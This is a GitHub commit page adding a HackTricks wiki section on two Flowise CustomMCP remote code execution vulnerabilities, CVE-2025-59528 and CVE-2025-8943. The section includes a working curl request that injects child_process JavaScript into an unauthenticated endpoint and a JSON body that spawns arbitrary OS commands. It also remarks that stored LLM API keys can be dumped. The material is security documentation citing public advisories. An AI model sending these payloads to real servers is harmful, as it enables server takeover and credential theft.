Skip to content

Commit 2d58952

Browse files
authored
Merge pull request #1619 from HackTricks-wiki/update_Metasploit_Wrap-Up_11_28_2025_20251129_012030
Metasploit Wrap-Up 11/28/2025
2 parents 3417d46 + 6642003 commit 2d58952

File tree

1 file changed

+43
-1
lines changed

1 file changed

+43
-1
lines changed

src/AI/AI-MCP-Servers.md

Lines changed: 43 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -159,8 +159,50 @@ See also – operational abuse and detection of local AI CLI/MCP clients:
159159
../generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md
160160
{{#endref}}
161161

162+
### Flowise MCP Workflow RCE (CVE-2025-59528 & CVE-2025-8943)
163+
164+
Flowise embeds MCP tooling inside its low-code LLM orchestrator, but its **CustomMCP** node trusts user-supplied JavaScript/command definitions that are later executed on the Flowise server. Two separate code paths trigger remote command execution:
165+
166+
- `mcpServerConfig` strings are parsed by `convertToValidJSONString()` using `Function('return ' + input)()` with no sandboxing, so any `process.mainModule.require('child_process')` payload executes immediately (CVE-2025-59528 / GHSA-3gcm-f6qx-ff7p). The vulnerable parser is reachable via the unauthenticated (in default installs) endpoint `/api/v1/node-load-method/customMCP`.
167+
- Even when JSON is supplied instead of a string, Flowise simply forwards the attacker-controlled `command`/`args` into the helper that launches local MCP binaries. Without RBAC or default credentials, the server happily runs arbitrary binaries (CVE-2025-8943 / GHSA-2vv2-3x8x-4gv7).
168+
169+
Metasploit now ships two HTTP exploit modules (`multi/http/flowise_custommcp_rce` and `multi/http/flowise_js_rce`) that automate both paths, optionally authenticating with Flowise API credentials before staging payloads for LLM infrastructure takeover.
170+
171+
Typical exploitation is a single HTTP request. The JavaScript injection vector can be demonstrated with the same cURL payload Rapid7 weaponised:
172+
173+
```bash
174+
curl -X POST http://flowise.local:3000/api/v1/node-load-method/customMCP \
175+
-H "Content-Type: application/json" \
176+
-H "Authorization: Bearer <API_TOKEN>" \
177+
-d '{
178+
"loadMethod": "listActions",
179+
"inputs": {
180+
"mcpServerConfig": "({trigger:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sh -c \\\"id>/tmp/pwn\\\"\");return 1;})()})"
181+
}
182+
}'
183+
```
184+
185+
Because the payload is executed inside Node.js, functions such as `process.env`, `require('fs')`, or `globalThis.fetch` are instantly available, so it is trivial to dump stored LLM API keys or pivot deeper into the internal network.
186+
187+
The command-template variant exercised by JFrog (CVE-2025-8943) does not even need to abuse JavaScript. Any unauthenticated user can force Flowise to spawn an OS command:
188+
189+
```json
190+
{
191+
"inputs": {
192+
"mcpServerConfig": {
193+
"command": "touch",
194+
"args": ["/tmp/yofitofi"]
195+
}
196+
},
197+
"loadMethod": "listActions"
198+
}
199+
```
200+
162201
## References
163202
- [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
203+
- [Metasploit Wrap-Up 11/28/2025 – new Flowise custom MCP & JS injection exploits](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025)
204+
- [GHSA-3gcm-f6qx-ff7p / CVE-2025-59528 – Flowise CustomMCP JavaScript code injection](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p)
205+
- [GHSA-2vv2-3x8x-4gv7 / CVE-2025-8943 – Flowise custom MCP command execution](https://github.com/advisories/GHSA-2vv2-3x8x-4gv7)
206+
- [JFrog – Flowise OS command remote code execution (JFSA-2025-001380578)](https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578)
164207

165208
{{#include ../banners/hacktricks-training.md}}
166-

0 commit comments

Comments
 (0)